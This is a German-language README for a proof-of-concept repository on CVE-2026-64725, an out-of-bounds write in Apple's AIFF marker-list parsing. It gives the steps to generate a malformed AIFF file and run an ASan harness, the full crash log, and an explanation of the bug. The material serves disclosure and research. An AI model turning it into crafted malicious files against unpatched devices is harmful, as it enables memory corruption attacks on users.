Was ist im Repository?

Ein PoC für CVE-2026-64725. Siehe den Quellcode und den Blogbeitrag für Details.

Wie reproduziert man das?

Plattformen

Gefunden auf macOS 26.4.1 (Build 25E253; Darwin 25.4.0 (xnu-12377.101.15~1); Apple Silicon (T8103 / M1)).

Apple bestätigt, dass macOS/iOS/iPadOS < 26.6 anfällig sind.

PoC

1. Stellen Sie sicher, dass auf Ihrem Mac das neueste macOS läuft.

2. Stellen Sie sicher, dass Python 3.6+ und clang installiert sind.

3. Klonen Sie das Repository auf Ihren Mac.

4. Generieren Sie eine minimale fehlerhafte AIFF-Datei, die den Signed-Shift-Bug in int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) auslöst:

   cd poc/
   python3 gen_marker_oob_aiff.py
   

   oder

   cd poc/
   make aiff
   

   Als Ergebnis sollten Sie marker_oob.aiff erhalten.

5. Bauen Sie den minimalen PoC-Harness mit ASan:

   make 
   

   Als Ergebnis sollten Sie marker_oob_harness erhalten.

PoC ausführen

./marker_oob_harness marker_oob.aiff

Sie sollten in etwa Folgendes sehen:

buf=0x619000001480 alloc=1000 bytes (room for 25 AudioFileMarker slots, 40 B each)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==62449==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0001929391d8 bp 0x00016b686390 sp 0x00016b686220 T0)
==62449==The signal is caused by a WRITE memory access.
==62449==Hint: this fault was caused by a dereference of a high value address (see register values below).  Disassemble the provided pc to learn which register was used.
    #0 0x0001929391d8 in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4 (AudioToolboxCore:arm64e+0x17b1d8)
    #1 0x0001927c6a1c in AudioFileGetProperty+0x70 (AudioToolboxCore:arm64e+0x8a1c)
    #2 0x000104778ca4 in main marker_oob_harness.c:59
    #3 0x00018f8a3da0 in start+0x1b4c (dyld:arm64e+0x1fda0)

==62449==Register values:
 x[0] = 0xa29319b2bf742f12   x[1] = 0x0000000000000000   x[2] = 0x0000000000000000   x[3] = 0x0000000000000008  
 x[4] = 0x0000000000000004   x[5] = 0xffffffffffffffff   x[6] = 0x0000000000000000   x[7] = 0x0000000000000001  
 x[8] = 0x0000000000000000   x[9] = 0x0000000000001917  x[10] = 0x0000000000000002  x[11] = 0x0000000000000000  
x[12] = 0x000000002d6d0c46  x[13] = 0x00000001fd0f3380  x[14] = 0x0000000000000000  x[15] = 0x0000000000000000  
x[16] = 0x000000016b686231  x[17] = 0x00000001fd0e6d78  x[18] = 0x0000000000000000  x[19] = 0x0000000000000001  
x[20] = 0x000000016b686420  x[21] = 0x0000615000000a80  x[22] = 0x0000000000000000  x[23] = 0x000000000000c8e6  
x[24] = 0x000000000000c8e8  x[25] = 0x00000000ffffe6e9  x[26] = 0x0000000000000004  x[27] = 0x000061900004000c  
x[28] = 0x0000000000000002     fp = 0x000000016b686390     lr = 0x00000001929391b8     sp = 0x000000016b686220  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: BUS (AudioToolboxCore:arm64e+0x17b1d8) in AIFFAudioFile::GetMarkerList(unsigned int*, AudioFileMarkerList*, bool)+0x2e4
==62449==ABORTING
zsh: abort      ./marker_oob_harness marker_oob.aiff

Was ist passiert?

Kurz gesagt:

1. marker_oob_harness öffnete marker_oob.aiff, indem es die dokumentierte öffentliche API AudioFileOpenURL(...) aufrief.

2. marker_oob_harness rief calloc auf, um einen Ausgabepuffer fester Länge für Marker zu reservieren (das ist nicht die beste Praxis, kommt aber in der Praxis häufig vor; das sicherere Codemuster GetMarkerListSize wird weiter unten unter „Sichere Fälle" / „GetMarkerListSize → malloc(size) → GetMarkerList" besprochen).

3. marker_oob_harness versuchte, eine Liste von Markern abzurufen, indem es die dokumentierte öffentliche API AudioFileGetProperty(...) mit inPropertyID=kAudioFilePropertyMarkerList aufrief. Alle Argumente, einschließlich der Größe des Ausgabepuffers und des Zeigers auf den Puffer, waren korrekt.

4. AudioFileGetProperty(...) rief im Hintergrund die undokumentierte API int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) auf.

5. int64_t AIFFAudioFile::GetMarkerList(uint32_t*, AudioFileMarkerList*, bool) interpretierte die (korrekte!) Größe des Ausgabepuffers falsch und schrieb Bytes aus marker_oob.aiff über das Ende des Puffers hinaus, weshalb Sie die ASan-Absturzmeldung gesehen haben. Das erwartete korrekte Verhalten wäre gewesen, einen Fehler „Puffer zu klein" oder Ähnliches zurückzugeben.

Die Anzahl der über das Ende des Puffers hinaus geschriebenen Bytes hängt von der Dateigröße ab. Eine bösartige .aiff-Datei kann jeden Puffer angemessener Größe zum Überlaufen bringen, wenn die Datei groß genug ist.

Weitere Details finden Sie in dem Blogbeitrag.